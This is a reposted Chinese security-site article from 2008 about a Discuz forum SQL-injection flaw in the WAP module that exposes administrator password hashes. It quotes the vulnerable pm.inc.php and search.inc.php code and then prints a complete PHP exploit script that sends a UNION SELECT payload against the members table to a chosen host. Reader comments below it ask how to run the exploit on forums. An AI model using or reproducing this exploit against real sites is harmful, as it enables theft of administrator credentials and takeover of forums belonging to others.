您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

discuz获取任意管理员密码漏洞

2008-8-22 18:56| 投稿: security

摘要: 漏洞说明:Discuz 论坛系统 是一套采用php+mysql数据库方式运行,在其中发现了一个安全漏洞,成功利用此漏洞可以提取管理员的密码进入后台,取得管理员权限。 漏洞厂商:http://www....
漏洞说明:Discuz 论坛系统 是一套采用php+mysql数据库方式运行,在其中发现了一个安全漏洞,成功利用此漏洞可以提取管理员的密码进入后台,取得管理员权限。 漏洞厂商:http://www.discuz.net 漏洞解析:在Discuz的wap模块中的字符转码程序存在问题,在discuz的wap模块中,该编码转换类存在严重的问题。在Discuz中,wap是默认开启的,很容易被攻击者利用,这个问题存在与discuz所有版本中。在discuz代码中存在多处可利用的地方,如:pm.inc.php/search.inc.php等,下面给出可疑代码片段:   pm.inc.php:$floodctrl = $floodctrl * 2;if($floodctrl && !$disablepostctrl && $timestamp - $lastpost < $floodctrl) { wapmsg(’pm_flood_ctrl’);} if($formhash != formhash()) { wapmsg(’wap_submit_invalid’);} $member = $db->fetch_first(”SELECT m.uid AS msgtoid, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING (uid) WHERE username=’$msgto’”);if(!$member) { wapmsg(’pm_send_nonexistence’);}if(preg_match(”/(^{ALL}$|(,|^)\s*”.preg_quote($discuz_user, ‘/’).”\s*(,|$))/i”, $member['ignorepm'])) { wapmsg(’pm_send_ignore’);}if(empty($subject) || empty($message)) { wapmsg(’pm_sm_isnull’);} search.inc.php:if(isset($searchid)) { $page = max(1, intval($page));$start_limit = $number = ($page - 1) * $waptpp; $index = $db->fetch_first(”SELECT searchstring, keywords, threads, tids FROM {$tablepre}searchindex WHERE searchid=’$searchid’”);if(!$index) { wapmsg(’search_id_invalid1′);}$index['keywords'] = rawurlencode($index['keywords']);$index['searchtype'] = preg_replace(”/^([a-z]+)\|.*/”, “\\1“, $index['searchstring']); $searchnum = $db->result_first(”SELECT COUNT(*) FROM  {$tablepre}threads WHERE tid IN ($index[tids]) AND displayorder>=’0′”);if($searchnum) { echo “<p>$lang[search_result]<br />”; $query = $db->query(”SELECT * FROM {$tablepre}threads WHERE tid IN ($index[tids]) AND displayorder>=’0′ ORDER BY dateline DESC LIMIT $start_limit, $waptpp”); while($thread = $db->fetch_array($query)) {  echo “<a href=\”index.php?action=thread&amp;tid=$thread[tid]\”>#”.++$number.” “.cutstr($thread['subject'], 24).”</a>($thread[views]/$thread[replies])<br />\n”; } echo wapmulti($searchnum, $waptpp, $page, “index.php?action=search&amp;searchid=$searchid&amp;do=submit&amp;sid=$sid”); echo ‘</p>’;} else { wapmsg(’search_invalid’);}以下是search.inc.php 文件漏洞利用代码;注:以下漏洞纯属个人兴趣爱好,仅供大家参考<?phperror_reporting(E_ALL&E_NOTICE);print_r(”+——————————————————————+Exploit discuz6.0.1Just work as php>=5 & mysql>=4.1BY  冰封浪子&小志+——————————————————————+“); if($argc>4){ $host=$argv[1]; $port=$argv[2]; $path=$argv[3]; $uid=$argv[4];}else{ echo “Usage: php “.$argv[0].” host port path uid\n”; echo “host:      target server \n”; echo “port:      the web port, usually 80\n”; echo “path:      path to discuz\n”; echo “uid :      user ID you wanna get\n”; echo “Example:\r\n”; echo “php “.$argv[0].” localhost 80 1\n”; exit;} $content =”action=search&searchid=22%cf’UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=”.$uid.”/*&do=submit”; $data = “POST /”.$path.”/index.php”.” HTTP/1.1\r\n”;$data .= “Accept: */*\r\n”;$data .= “Accept-Language: zh-cn\r\n”;$data .= “Content-Type: application/x-www-form-urlencoded\r\n”;$data .= “User-Agent: wap\r\n”;$data .= “Host: “.$host.”\r\n”;$data .= “Content-length: “.strlen($content).”\r\n”;$data .= “Connection: Close\r\n”;$data .= “\r\n”;$data .= $content.”\r\n\r\n”;$ock=fsockopen($host,$port);if (!$ock) { echo ‘No response from ‘.$host; die;}fwrite($ock,$data);while (!feof($ock)) {   echo fgets($ock, 1024);}?> This entry was posted on 星期四, 08月 7th, 2008 at 11:21 and is filed under 心情日记. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site. 10 Responses to “discuz获取任意管理员密码漏洞” fuack you Says:08月 7th, 2008 at 14:16 冰封大哥,究竟如何利用呢?我在服务器上执行c:\php 1.php http://www.xx.com 80 bbs 1 >1.htm 打开1.htm,就是首页,没有找到密码。究竟怎么用啊? gitb Says:08月 7th, 2008 at 15:03 你可以把那个php脚本给我吗 gitb Says:08月 7th, 2008 at 16:29 你可以把那个php脚本给我吗 u1988@live.cn jizhidao Says:08月 7th, 2008 at 16:48 看不懂啊,具体怎么用 jizhidao Says:08月 7th, 2008 at 17:01 我有一个dicuz论坛,怎么获得管理员密码 求大哥帮助 jizhidao Says:08月 7th, 2008 at 22:43 究竟怎么利用啊,冰封大哥能不能讲的详细点啊 jizhidao Says:08月 7th, 2008 at 23:04 您能加我qq吗 37155264 flashf Says:08月 8th, 2008 at 00:18 小志哥~用你的程序测试了一下~~~反回提示~ 您所在的用户组没有索权限,请返回8/7 21:15返回 首页gin&sid=mK7Yv2">登录 sid=mK7Yv2">注册Powered by Discuz! 不知道要在什么环境下去测试,才能成功,望指教~~~ gitb Says:08月 12th, 2008 at 14:41 flashf 你把那程序修改好了吗 tj646 Says:08月 15th, 2008 at 03:56 我测试了一下,以我的能力利用不了了.哪位高手指点一下.search.inc.php这个最后可以把管理员密码赋到变量 $index['keywords'] 上.但是这个变量是不输出的.所以爆不到密码. pm.inc.php这个短消息的好象可以利用.但我测试没有成功.就差一点点.就是编码那里会报一个SQL错误(Truncated incorrect DOUBLE value: ‘22蟎’)导致没办法读出密码.我本地在MYSQL查询是没有问题的.

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部